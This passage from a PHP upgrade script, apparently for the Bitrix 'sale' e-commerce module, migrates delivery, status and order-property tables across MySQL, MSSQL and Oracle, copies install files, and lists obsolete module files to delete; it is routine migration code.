							if (!$DB->Query("ALTER TABLE B_SALE_DELIVERY RENAME TO B_SALE_DELIVERY_OLD", true))
								$error .= "<br>".$DB->GetErrorMessage();
						}

						if (!empty($error))
						{
							\CEventLog::Add(array(
								"SEVERITY" => "ERROR",
								"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
								"MODULE_ID" => "sale",
								"ITEM_ID" => "STEP 12: RENAME B_SALE_DELIVERY",
								"DESCRIPTION" => $error,
							));
						}
					}
					else
					{
						\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "b_sale_delivery",
							"DESCRIPTION" => implode('\n', $res->getErrorMessages()),
						));	
					}
					
					file_put_contents($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale_convert.txt', 'CSaleDelivery::convertToNew = '.(microtime(true)-$start)."\n", FILE_APPEND);
				}

				if($DB->TableExists("b_sale_delivery_handler") && !$DB->TableExists("b_sale_delivery_handler_old"))
				{
					$start = microtime(true);
					$res = CSaleDeliveryHandler::convertToNew();

					if($res->isSuccess())
					{
						if ($DB->type == "MYSQL")
						{
							if (!$DB->Query("ALTER TABLE b_sale_delivery_handler RENAME b_sale_delivery_handler_old", true))
								$error .= "<br>".$DB->GetErrorMessage();

						}
						elseif ($DB->type == "MSSQL")
						{
							if (!$DB->Query("sp_rename B_SALE_DELIVERY_HANDLER, B_SALE_DELIVERY_HANDLER_OLD", true))
								$error .= "<br>".$DB->GetErrorMessage();
						}
						elseif ($DB->type == "ORACLE")
						{
							if (!$DB->Query("ALTER TABLE B_SALE_DELIVERY_HANDLER RENAME TO B_SALE_DELIVERY_HANDLER_OLD", true))
								$error .= "<br>".$DB->GetErrorMessage();
						}

						if (!empty($error))
						{
							\CEventLog::Add(array(
								"SEVERITY" => "ERROR",
								"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
								"MODULE_ID" => "sale",
								"ITEM_ID" => "STEP 12: RENAME B_SALE_DELIVERY_HANDLER",
								"DESCRIPTION" => $error,
							));
						}
					}
					else
					{
						$error .= implode('\n', $res->getErrorMessages());
						\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "b_sale_delivery_handler",
							"DESCRIPTION" => $error,
						));
					}

					file_put_contents($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale_convert.txt', 'CSaleDeliveryHandler::convertToNew = '.(microtime(true)-$start)."\n", FILE_APPEND);
				}			

				if($DB->TableExists("b_sale_delivery2paysystem"))
				{
					if ($DB->Query("SELECT DELIVERY_PROFILE_ID FROM b_sale_delivery2paysystem WHERE 1=0", true))
					{
						$DB->Query("DELETE FROM b_sale_delivery2paysystem WHERE DELIVERY_PROFILE_ID <> '##CONVERTED##' OR DELIVERY_PROFILE_ID IS NULL", true);
						$DB->Query("UPDATE b_sale_delivery2paysystem SET DELIVERY_PROFILE_ID = ''", true);
					}

					if (!$DB->Query("SELECT LINK_DIRECTION FROM b_sale_delivery2paysystem WHERE 1=0", true))
					{
						if ($DB->type == "MYSQL")
						{
							if (!$DB->Query("ALTER TABLE b_sale_delivery2paysystem ADD column LINK_DIRECTION CHAR(1) NOT NULL DEFAULT ''", true))
								$error .= "<br>".$DB->GetErrorMessage();
							elseif(! $DB->Query("ALTER TABLE b_sale_delivery2paysystem ADD INDEX IX_LINK_DIRECTION (LINK_DIRECTION)", true))
								$error .= "<br>".$DB->GetErrorMessage();
						}
						elseif ($DB->type == "MSSQL")
						{
							if (!$DB->Query("ALTER TABLE B_SALE_DELIVERY2PAYSYSTEM ADD LINK_DIRECTION CHAR(1) NOT NULL DEFAULT ''", true))
								$error .= "<br>".$DB->GetErrorMessage();
							elseif (!$DB->Query("CREATE INDEX IX_LINK_DIRECTION ON B_SALE_DELIVERY2PAYSYSTEM(LINK_DIRECTION)", true))
								$error .= "<br>".$DB->GetErrorMessage();
						}
						elseif ($DB->type == "ORACLE")
						{
							if (!$DB->Query("ALTER TABLE B_SALE_DELIVERY2PAYSYSTEM ADD LINK_DIRECTION CHAR(1) DEFAULT '' NOT NULL", true))
								$error .= "<br>".$DB->GetErrorMessage();
							elseif (!$DB->Query("CREATE INDEX IX_LINK_DIRECTION ON B_SALE_DELIVERY2PAYSYSTEM(LINK_DIRECTION)", true))
								$error .= "<br>".$DB->GetErrorMessage();
						}

						if (!empty($error))
						{
							\CEventLog::Add(array(
									"SEVERITY" => "ERROR",
									"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
									"MODULE_ID" => "sale",
									"ITEM_ID" => "STEP 12: B_SALE_DELIVERY2PAYSYSTEM.LINK_DIRECTION",
									"DESCRIPTION" => $error,
							));
						}
					}

					if ($DB->Query("SELECT DELIVERY_ID FROM b_sale_delivery2paysystem WHERE 1=0", true))
					{
						if ($DB->type == "MYSQL")
						{
							if (!$DB->Query("ALTER TABLE b_sale_delivery2paysystem MODIFY COLUMN DELIVERY_ID INT(11) NOT NULL", true))
								$error .= "<br>".$DB->GetErrorMessage();
						}
						elseif ($DB->type == "MSSQL")
						{
							$DB->Query("DROP INDEX IX_DELIVERY ON B_SALE_DELIVERY2PAYSYSTEM", true);

							if (!$DB->Query("ALTER TABLE B_SALE_DELIVERY2PAYSYSTEM ALTER COLUMN DELIVERY_ID INT NOT NULL", true))
								$error .= "<br>".$DB->GetErrorMessage();

							$DB->Query("CREATE INDEX IX_DELIVERY ON B_SALE_DELIVERY2PAYSYSTEM(DELIVERY_ID)", true);
						}
						elseif ($DB->type == "ORACLE")
						{
							if (!$DB->Query("ALTER TABLE B_SALE_DELIVERY2PAYSYSTEM MODIFY DELIVERY_ID NUMBER(18)", true))
								$error .= "<br>".$DB->GetErrorMessage();
						}

						if (!empty($error))
						{
							\CEventLog::Add(array(
									"SEVERITY" => "ERROR",
									"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
									"MODULE_ID" => "sale",
									"ITEM_ID" => "STEP 12: B_SALE_DELIVERY2PAYSYSTEM.DELIVERY_ID",
									"DESCRIPTION" => $error,
							));
						}
					}

					$start = microtime(true);
					$res = CSaleDelivery::convertPSRelations();

					if(!$res->isSuccess())
					{
						$error .= implode('\n', $res->getErrorMessages());
						\CEventLog::Add(array(
							"SEVERITY" => "ERROR",
							"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
							"MODULE_ID" => "sale",
							"ITEM_ID" => "b_sale_delivery2paysystem",
							"DESCRIPTION" => $error,
						));
					}

					file_put_contents($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale_convert.txt', 'CSaleDelivery::convertPSRelations= '.(microtime(true)-$start)."\n", FILE_APPEND);
				}							
			}
			catch(Exception $e)
			{
				$error .= $e->getMessage();
				\CEventLog::Add(array(
					"SEVERITY" => "ERROR",
					"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
					"MODULE_ID" => "sale",
					"ITEM_ID" => "STEP 12: EXCEPTION DELIVERY CONVERT",
					"DESCRIPTION" => $error
				));
			}
			
			if (empty($error))
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_STATUS_CONVERT');
				$result['NEXT_STEP'] = ++$ajax_step;
			}
			else
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_DELIVERY_CONVERT');
				$result['ERROR'] = true;
				$message .= "<br>".$error;
			}
			
			$result['DATA'] = $message;
			break;
		case 13:
			$start = microtime(true);
			
			try
			{
				require_once $_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/sale/lib/compatible/compatible.php';
				require_once $_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/sale/lib/internals/status_grouptask.php';
				require_once $_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/sale/general/status.php';
				CSaleStatusAdapter::migrate();
			}
			catch (Exception $e)
			{
				\CEventLog::Add(array(
					"SEVERITY" => "ERROR",
					"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
					"MODULE_ID" => "sale",
					"ITEM_ID" => "CSaleStatusAdapter::migrate",
					"DESCRIPTION" => $e->getMessage()
				));
			}
			
			try
			{
				require_once $_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/sale/lib/status.php';
				require_once $_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/sale/lib/internals/status.php';
				require_once $_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/sale/lib/internals/status_lang.php';

				$deliveryInitialStatus = Bitrix\Sale\DeliveryStatus::getInitialStatus();
				$deliveryFinalStatus   = Bitrix\Sale\DeliveryStatus::getFinalStatus();

				$statusLanguages = array();

				$result = Bitrix\Main\Localization\LanguageTable::getList(array(
					'select' => array('LID'),
					'filter' => array('=ACTIVE' => 'Y'),
				));

				while ($row = $result->Fetch())
				{
					$languageId = $row['LID'];

					Loc::loadLanguageFile($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/sale/lib/status.php', $languageId);

					foreach (array($deliveryInitialStatus, $deliveryFinalStatus) as $statusId)
					{
						if ($statusName = Loc::getMessage("SALE_STATUS_{$statusId}"))
						{
							$statusLanguages[$statusId] []= array(
								'LID'         => $languageId,
								'NAME'        => $statusName,
								'DESCRIPTION' => Loc::getMessage("SALE_STATUS_{$statusId}_DESCR"),
							);
						}
					}
				}

				Bitrix\Sale\DeliveryStatus::install(array(
					'ID'     => $deliveryInitialStatus,
					'SORT'   => 300,
					'NOTIFY' => 'Y',
					'LANG'   => $statusLanguages[$deliveryInitialStatus],
				));

				Bitrix\Sale\DeliveryStatus::install(array(
					'ID'     => $deliveryFinalStatus,
					'SORT'   => 400,
					'NOTIFY' => 'Y',
					'LANG'   => $statusLanguages[$deliveryFinalStatus],
				));

				call_user_func(function() {

					$operations = array(
							'sale_status_view'      => '',
							'sale_status_cancel'    => '',
							'sale_status_mark'      => '',
							'sale_status_delivery'  => '',
							'sale_status_deduction' => '',
							'sale_status_payment'   => '',
							'sale_status_to'        => '',
							'sale_status_update'    => '',
							'sale_status_delete'    => '',
							'sale_status_from'      => '',
					);

					$result = Bitrix\Main\Application::getConnection()->query("SELECT * FROM b_operation WHERE MODULE_ID = 'sale' AND BINDING = 'status'");
					while ($row = $result->fetch())
						if (isset($operations[$row['NAME']]))
							$operations[$row['NAME']] = $row['ID'];

					foreach ($operations as $name => $id)
						if (! $id)
						{
							$result = Bitrix\Main\OperationTable::add(array('MODULE_ID' => 'sale', 'BINDING' => 'status', 'NAME' => $name));
							if ($result->isSuccess())
								$operations[$name] = $result->getId();
						}

					$tasks = array(
						'sale_status_none' => '',
						'sale_status_all'  => '',
					);

					$result = Bitrix\Main\Application::getConnection()->query("SELECT * FROM b_task WHERE MODULE_ID = 'sale' AND BINDING = 'status'");
					while ($row = $result->fetch())
						if (isset($tasks[$row['NAME']]))
							$tasks[$row['NAME']] = $row['ID'];

					if (! $tasks['sale_status_none'])
					{
						$result = Bitrix\Main\TaskTable::add(array('MODULE_ID' => 'sale', 'BINDING' => 'status', 'NAME' => 'sale_status_none', 'SYS' => 'Y', 'LETTER' => 'D'));
						if ($result->isSuccess())
							$tasks['sale_status_none'] = $result->getId();
					}

					if (! $tasks['sale_status_all'])
					{
						$result = Bitrix\Main\TaskTable::add(array('MODULE_ID' => 'sale', 'BINDING' => 'status', 'NAME' => 'sale_status_all', 'SYS' => 'Y', 'LETTER' => 'X'));
						if ($result->isSuccess())
							$tasks['sale_status_all'] = $result->getId();
					}

					if ($taskId = $tasks['sale_status_all'])
					{
						$taskOperations = array();
						$result = Bitrix\Main\Application::getConnection()->query('SELECT * FROM b_task_operation WHERE TASK_ID = '.$taskId);
						while ($row = $result->fetch())
							$taskOperations[$row['OPERATION_ID']] = true;
						
						foreach ($operations as $operationId)
							if ($operationId && ! $taskOperations[$operationId])
								Bitrix\Main\TaskOperationTable::add(array('TASK_ID' => $taskId, 'OPERATION_ID' => $operationId));
					}

				});
			}
			catch (Exception $e)
			{
				\CEventLog::Add(array(
					"SEVERITY" => "ERROR",
					"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
					"MODULE_ID" => "sale",
					"ITEM_ID" => "Status::install",
					"DESCRIPTION" => $e->getMessage()
				));
			}
			
			try
			{
				if ($DB->Query('SELECT SIZE1 FROM b_sale_order_props WHERE 1=0', true))
				{
					require_once $_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/sale/lib/compatible/compatible.php';
					require_once $_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/sale/lib/internals/orderprops.php';
					require_once $_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/sale/general/order_props.php';
					CSaleOrderPropsAdapter::migrate();
				}
			}
			catch (Exception $e)
			{
				\CEventLog::Add(array(
					"SEVERITY" => "ERROR",
					"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
					"MODULE_ID" => "sale",
					"ITEM_ID" => "CSaleOrderPropsAdapter::migrate",
					"DESCRIPTION" => $e->getMessage()
				));
			}
			
			if ($DB->Query('SELECT SIZE1 FROM b_sale_order_props WHERE 1=0', true))
			{

				if ($DB->type == "MYSQL")
				{
					if (!$DB->Query('ALTER TABLE b_sale_order_props DROP SIZE1, DROP SIZE2', true))
						$error .= "<br>".$DB->GetErrorMessage();

				}
				elseif ($DB->type == "MSSQL")
				{

					$DB->Query("ALTER TABLE B_SALE_ORDER_PROPS DROP CONSTRAINT DF_B_SALE_ORDER_PROPS_SIZE1", false);
					$DB->Query("ALTER TABLE B_SALE_ORDER_PROPS DROP CONSTRAINT DF_B_SALE_ORDER_PROPS_SIZE2", false);

					if (!$DB->Query("ALTER TABLE B_SALE_ORDER_PROPS DROP COLUMN SIZE1, SIZE2", true))
						$error .= "<br>".$DB->GetErrorMessage();
				}
				elseif ($DB->type == "ORACLE")
				{
					if (!$DB->Query("ALTER TABLE B_SALE_ORDER_PROPS DROP (SIZE1, SIZE2)", true))
						$error .= "<br>".$DB->GetErrorMessage();
				}

				if (!empty($error))
				{
					\CEventLog::Add(array(
						"SEVERITY" => "ERROR",
						"AUDIT_TYPE_ID" => "SALE_CONVERTER_ERROR",
						"MODULE_ID" => "sale",
						"ITEM_ID" => "STEP 13: DROP FIELDS",
						"DESCRIPTION" => $error,
					));
				}
			}
			
			$end = microtime(true);
			file_put_contents($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale_convert.txt', 'Migrate statuses and properties = '.($end-$start)."\n", FILE_APPEND);

			$result = array();
			
			if (empty($error))
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_PAY_SYSTEM_INNER');
				$result['NEXT_STEP'] = ++$ajax_step;
			}
			else
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_STATUS_CONVERT');
				$result['ERROR'] = true;
				$message .= "<br>".$error;
			}
			
			$result['DATA'] = $message;
			break;
		case 14:
			$res = \Bitrix\Sale\Internals\PaySystemInner::add();
			if ($res !== false)
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_INSTALLER');
				$result['NEXT_STEP'] = ++$ajax_step;
			}
			else
			{
				$message = Loc::getMessage('SALE_CONVERTER_AJAX_STEP_PAY_SYSTEM_INNER');
				$result['ERROR'] = true;
				$message .= "<br>".Loc::getMessage('SALE_CONVERTER_AJAX_STEP_PAY_SYSTEM_INNER_ERROR');
			}
			
			$result['DATA'] = $message;
			break;		
		case 15:
			if (!CopyDirFiles($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale/install/admin', $_SERVER["DOCUMENT_ROOT"].'/bitrix/admin', true, true))
				$error .= "<br>".str_replace(array('#FROM#', '#TO#'), array($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale/install/admin', $_SERVER["DOCUMENT_ROOT"].'/bitrix/admin'),Loc::getMessage('SALE_CONVERTER_COPY_FILES_ERROR'));
				
			if (!CopyDirFiles($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale/install/components', $_SERVER["DOCUMENT_ROOT"].'/bitrix/components', true, true))
				$error .= "<br>".str_replace(array('#FROM#', '#TO#'), array($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale/install/components', $_SERVER["DOCUMENT_ROOT"].'/bitrix/admin'),Loc::getMessage('SALE_CONVERTER_COPY_FILES_ERROR'));
				
			if (!CopyDirFiles($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale/install/images', $_SERVER["DOCUMENT_ROOT"].'/bitrix/images/sale', true, true))
				$error .= "<br>".str_replace(array('#FROM#', '#TO#'), array($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale/install/images', $_SERVER["DOCUMENT_ROOT"].'/bitrix/images/sale'),Loc::getMessage('SALE_CONVERTER_COPY_FILES_ERROR'));
			
			if (!CopyDirFiles($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale/install/js', $_SERVER["DOCUMENT_ROOT"].'/bitrix/js', true, true))
				$error .= "<br>".str_replace(array('#FROM#', '#TO#'), array($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale/install/images', $_SERVER["DOCUMENT_ROOT"].'/bitrix/js'),Loc::getMessage('SALE_CONVERTER_COPY_FILES_ERROR'));
				
			if (!CopyDirFiles($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale/install/themes', $_SERVER["DOCUMENT_ROOT"].'/bitrix/themes', true, true))
				$error .= "<br>".str_replace(array('#FROM#', '#TO#'), array($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale/install/themes', $_SERVER["DOCUMENT_ROOT"].'/bitrix/themes'),Loc::getMessage('SALE_CONVERTER_COPY_FILES_ERROR'));
				
			if (!CopyDirFiles($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale/install/tools', $_SERVER["DOCUMENT_ROOT"].'/bitrix/tools', true, true))
				$error .= "<br>".str_replace(array('#FROM#', '#TO#'), array($_SERVER["DOCUMENT_ROOT"].'/bitrix/modules/sale/install/tools', $_SERVER["DOCUMENT_ROOT"].'/bitrix/tools'),Loc::getMessage('SALE_CONVERTER_COPY_FILES_ERROR'));
			
			$arToDelete = array(
				"modules/sale/install/js/sale/status_perms.js",
				"modules/sale/mssql/status.php",
				"modules/sale/mysql/status.php",
				"modules/sale/oracle/status.php",
				"modules/sale/lib/delivery/handler/first.php",
				"modules/sale/lang/ru/lib/input.php",
				"modules/sale/lib/input.php",
				"modules/sale/lib/orderpropsgroup.php",
				"modules/sale/lib/orderpropsrelation.php",
				"modules/sale/lib/orderpropsvalue.php",
				"modules/sale/lib/userpropsvalue.php",
				"modules/sale/install/components/bitrix/sale.ajax.locations/.description.php",
				"components/bitrix/sale.ajax.locations/.description.php",
				"modules/sale/lib/delivery/exception.php",
				"modules/sale/lib/delivery.php",
				"modules/sale/lib/paysystem.php",
				"modules/sale/lib/delivery/extraservicesmanager.php",
				"modules/sale/install/components/bitrix/sale.location.selector.system/templates/.default/lang/ru/result_modifier.php",
				"components/bitrix/sale.location.selector.system/templates/.default/lang/ru/result_modifier.php",
				"modules/sale/install/panel/sale/location_import.css",
				"modules/sale/mysql/order_props.php",
				"modules/sale/oracle/order_props.php",
				"modules/sale/lang/ru/lib/delivery/handler/automatic.php",
				"modules/sale/lang/ru/lib/delivery/handler/automatic_profile.php",
				"modules/sale/lang/ru/lib/delivery/handler/configurable.php",
				"modules/sale/lang/ru/lib/delivery/handler/group.php",
				"modules/sale/lib/delivery/handler/automatic.php",
				"modules/sale/lib/delivery/handler/automatic_profile.php",
				"modules/sale/lib/delivery/handler/configurable.php",
				"modules/sale/lib/delivery/handler/group.php",
				"modules/sale/lib/delivery/service.php",
				"modules/sale/lib/delivery/servicecreator.php",
				"modules/sale/lib/delivery/delivery.php",
				"modules/sale/lib/delivery/deliveryrestriction.php",
				"modules/sale/lib/delivery/deliveryservice.php",
				"modules/sale/lib/delivery/extraservices.php",
				"modules/sale/admin/delivery_service.php",
				"modules/sale/install/js/sale/admin.js",
				"modules/sale/lib/delivery/restriction.php",
				"modules/sale/lib/delivery/restrictiontable.php",
				"modules/sale/lib/delivery/servicetable.php",
				"modules/sale/lang/ru/lib/delivery/servicetable.php",
				"modules/sale/lib/delivery/location.php",
				"modules/sale/lib/internals/attributes.php",
				"modules/sale/lang/ru/lib/internals/orderprops_group.php",
				"modules/sale/lang/ru/lib/internals/orderprops_relation.php",
				"modules/sale/lib/internals/orderpropsgroup.php",
				"modules/sale/lib/internals/orderpropsrelation.php",
				"modules/sale/lib/internals/orderpropsvalue.php",
				"modules/sale/lib/helpers/datafield.php",
				"modules/sale/lib/helpers/admin/order_edit.php",
				"modules/sale/lib/statusgrouptask.php",
				"modules/sale/lib/statuslang.php",
				"modules/sale/lang/ru/lib/statuslang.php",
				"modules/sale/admin/order_info.php",
				"modules/sale/lang/ru/admin/order_info.php",
				"modules/sale/admin/order_delivery.php",
				"modules/sale/install/admin/sale_order_delivery.php",
				"admin/sale_order_delivery.php",
				"modules/sale/install/admin/sale_order_delivery_edit.php",
				"admin/sale_order_delivery_edit.php",
				"modules/sale/admin/order_props_edit (copy).php",
				"modules/sale/lib/orderprops.php",
				"modules/sale/install/js/sale/admin/event_manager.js",
				"modules/sale/install/js/sale/admin/css/order.css",
				"modules/sale/admin/business_value_type.php",
				"modules/sale/install/admin/sale_business_value_type.php",
				"admin/sale_business_value_type.php",
				"modules/sale/lib/delivery/restrictions/bystore.php",
				"modules/sale/lib/delivery/structures.php",
				"modules/sale/lib/orderproperties.php",
				"modules/sale/install/components/bitrix/sale.location.selector.system/templates/.default/lang/de/result_modifier.php",
				"components/bitrix/sale.location.selector.system/templates/.default/lang/de/result_modifier.php",
				"modules/sale/install/components/bitrix/sale.location.selector.system/templates/.default/lang/en/result_modifier.php",
				"components/bitrix/sale.location.selector.system/templates/.default/lang/en/result_modifier.php",
				"modules/sale/lib/location/import/import.php",
				"modules/sale/general/compatible.php",
				"modules/sale/lib/basketcompatibility.php",
				"modules/sale/lib/internals/compatible.php",
				"modules/sale/lib/internals/entitycompatibility.php",
				"modules/sale/lib/ordercompatibility.php",
				"modules/sale/lib/compatible/internals/compatible.php",
				"modules/sale/lib/internals/businessvalue_persontype.php",
				"modules/sale/lang/ru/lib/internals/orderprops_value.php",
				"modules/sale/lang/ru/lib/payment_system_webmoney.php",
				"modules/sale/install/components/bitrix/sale.location.import/templates/.default/lang/de/result_modifier.php",
				"components/bitrix/sale.location.import/templates/.default/lang/de/result_modifier.php",
				"modules/sale/install/components/bitrix/sale.location.import/templates/.default/lang/de/template.php",
				"components/bitrix/sale.location.import/templates/.default/lang/de/template.php",
				"modules/sale/install/components/bitrix/sale.location.import/templates/.default/lang/en/result_modifier.php",
				"components/bitrix/sale.location.import/templates/.default/lang/en/result_modifier.php",
				"modules/sale/install/components/bitrix/sale.location.import/templates/.default/lang/en/template.php",
				"components/bitrix/sale.location.import/templates/.default/lang/en/template.php",
				"modules/sale/install/components/bitrix/sale.location.import/templates/.default/lang/ru/result_modifier.php",
				"components/bitrix/sale.location.import/templates/.default/lang/ru/result_modifier.php",
				"modules/sale/install/components/bitrix/sale.location.import/templates/.default/lang/ru/template.php",
				"components/bitrix/sale.location.import/templates/.default/lang/ru/template.php",
				"modules/sale/install/components/bitrix/sale.location.import/templates/.default/lang/ua/result_modifier.php",
				"components/bitrix/sale.location.import/templates/.default/lang/ua/result_modifier.php",
				"modules/sale/install/components/bitrix/sale.location.import/templates/.default/lang/ua/template.php",
				"components/bitrix/sale.location.import/templates/.default/lang/ua/template.php",
				"modules/sale/install/components/bitrix/sale.location.import/templates/.default/result_modifier.php",
				"components/bitrix/sale.location.import/templates/.default/result_modifier.php",
				"modules/sale/install/components/bitrix/sale.location.import/templates/.default/script.js",
				"components/bitrix/sale.location.import/templates/.default/script.js",
				"modules/sale/install/components/bitrix/sale.location.import/templates/.default/style.css",
				"components/bitrix/sale.location.import/templates/.default/style.css",
				"modules/sale/install/components/bitrix/sale.location.import/templates/.default/template.php",
				"components/bitrix/sale.location.import/templates/.default/template.php",
				"modules/sale/lang/de/lib/location/assert.php",
				"modules/sale/lang/de/lib/location/treeentity.php",
				"modules/sale/lang/en/lib/location/assert.php",
				"modules/sale/lang/en/lib/location/treeentity.php",
				"modules/sale/lang/ru/lib/location/assert.php",
				"modules/sale/lang/ru/lib/location/treeentity.php",
				"modules/sale/lib/location/assert.php",
				"modules/sale/lib/location/dbblockinserter.php",
				"modules/sale/lib/location/exception.php",
				"modules/sale/lib/location/import/csvreader.php",
				"modules/sale/lib/location/import/process.php",
				"modules/sale/lib/location/treeentity.php",
				"modules/sale/lib/calculator.php",
				"modules/sale/install/templates/lang/de/sale/.description.php",
				"modules/sale/install/templates/lang/de/sale/sale_affiliate/.description.php",
				"modules/sale/install/templates/lang/de/sale/sale_affiliate/affiliate.php",
				"modules/sale/install/templates/lang/de/sale/sale_affiliate/plans.php",
				"modules/sale/install/templates/lang/de/sale/sale_affiliate/register.php",
				"modules/sale/install/templates/lang/de/sale/sale_affiliate/shop.php",
				"modules/sale/install/templates/lang/de/sale/sale_affiliate/tech.php",
				"modules/sale/install/templates/lang/de/sale/sale_basket/.description.php",
				"modules/sale/install/templates/lang/de/sale/sale_basket/basket.php",
				"modules/sale/install/templates/lang/de/sale/sale_basket/basket_line.php",
				"modules/sale/install/templates/lang/de/sale/sale_basket/basket_small.php",
				"modules/sale/install/templates/lang/de/sale/sale_order/.description.php",
				"modules/sale/install/templates/lang/de/sale/sale_order/order_1.php",
				"modules/sale/install/templates/lang/de/sale/sale_order/order_2.php",
				"modules/sale/install/templates/lang/de/sale/sale_order/order_full.php",
				"modules/sale/install/templates/lang/de/sale/sale_personal/.description.php",
				"modules/sale/install/templates/lang/de/sale/sale_personal/account.php",
				"modules/sale/install/templates/lang/de/sale/sale_personal/cc_detail.php",
				"modules/sale/install/templates/lang/de/sale/sale_personal/cc_list.php",
				"modules/sale/install/templates/lang/de/sale/sale_personal/order_cancel.php",
				"modules/sale/install/templates/lang/de/sale/sale_personal/order_detail.php",
				"modules/sale/install/templates/lang/de/sale/sale_personal/order_list.php",
				"modules/sale/install/templates/lang/de/sale/sale_personal/order_list_t.php",
				"modules/sale/install/templates/lang/de/sale/sale_personal/order_table.php",
				"modules/sale/install/templates/lang/de/sale/sale_personal/profile_detail.php",
				"modules/sale/install/templates/lang/de/sale/sale_personal/profile_list.php",
				"modules/sale/install/templates/lang/de/sale/sale_personal/subscribe_cancel.php",
				"modules/sale/install/templates/lang/de/sale/sale_personal/subscribe_list.php",
				"modules/sale/install/templates/lang/en/sale/.description.php",
				"modules/sale/install/templates/lang/en/sale/sale_affiliate/.description.php",
				"modules/sale/install/templates/lang/en/sale/sale_affiliate/affiliate.php",
				"modules/sale/install/templates/lang/en/sale/sale_affiliate/plans.php",
				"modules/sale/install/templates/lang/en/sale/sale_affiliate/register.php",
				"modules/sale/install/templates/lang/en/sale/sale_affiliate/shop.php",
				"modules/sale/install/templates/lang/en/sale/sale_affiliate/tech.php",
				"modules/sale/install/templates/lang/en/sale/sale_basket/.description.php",
				"modules/sale/install/templates/lang/en/sale/sale_basket/basket.php",
				"modules/sale/install/templates/lang/en/sale/sale_basket/basket_line.php",
				"modules/sale/install/templates/lang/en/sale/sale_basket/basket_small.php",
				"modules/sale/install/templates/lang/en/sale/sale_order/.description.php",
				"modules/sale/install/templates/lang/en/sale/sale_order/order_1.php",
				"modules/sale/install/templates/lang/en/sale/sale_order/order_2.php",
				"modules/sale/install/templates/lang/en/sale/sale_order/order_full.php",
				"modules/sale/install/templates/lang/en/sale/sale_personal/.description.php",
				"modules/sale/install/templates/lang/en/sale/sale_personal/account.php",
				"modules/sale/install/templates/lang/en/sale/sale_personal/cc_detail.php",
				"modules/sale/install/templates/lang/en/sale/sale_personal/cc_list.php",
				"modules/sale/install/templates/lang/en/sale/sale_personal/order_cancel.php",
				"modules/sale/install/templates/lang/en/sale/sale_personal/order_detail.php",
				"modules/sale/install/templates/lang/en/sale/sale_personal/order_list.php",
				"modules/sale/install/templates/lang/en/sale/sale_personal/order_list_t.php",
				"modules/sale/install/templates/lang/en/sale/sale_personal/order_table.php",
				"modules/sale/install/templates/lang/en/sale/sale_personal/profile_detail.php",
				"modules/sale/install/templates/lang/en/sale/sale_personal/profile_list.php",
				"modules/sale/install/templates/lang/en/sale/sale_personal/subscribe_cancel.php",
				"modules/sale/install/templates/lang/en/sale/sale_personal/subscribe_list.php",
				"modules/sale/install/templates/lang/ru/sale/.description.php",
				"modules/sale/install/templates/lang/ru/sale/sale_affiliate/.description.php",
				"modules/sale/install/templates/lang/ru/sale/sale_affiliate/affiliate.php",
				"modules/sale/install/templates/lang/ru/sale/sale_affiliate/plans.php",
				"modules/sale/install/templates/lang/ru/sale/sale_affiliate/register.php",
				"modules/sale/install/templates/lang/ru/sale/sale_affiliate/shop.php",
				"modules/sale/install/templates/lang/ru/sale/sale_affiliate/tech.php",
				"modules/sale/install/templates/lang/ru/sale/sale_basket/.description.php",
				"modules/sale/install/templates/lang/ru/sale/sale_basket/basket.php",
				"modules/sale/install/templates/lang/ru/sale/sale_basket/basket_line.php",
				"modules/sale/install/templates/lang/ru/sale/sale_basket/basket_small.php",
				"modules/sale/install/templates/lang/ru/sale/sale_order/.description.php",
				"modules/sale/install/templates/lang/ru/sale/sale_order/order_1.php",
				"modules/sale/install/templates/lang/ru/sale/sale_order/order_2.php",
				"modules/sale/install/templates/lang/ru/sale/sale_order/order_full.php",
				"modules/sale/install/templates/lang/ru/sale/sale_personal/.description.php",
				"modules/sale/install/templates/lang/ru/sale/sale_personal/account.php",
				"modules/sale/install/templates/lang/ru/sale/sale_personal/cc_detail.php",
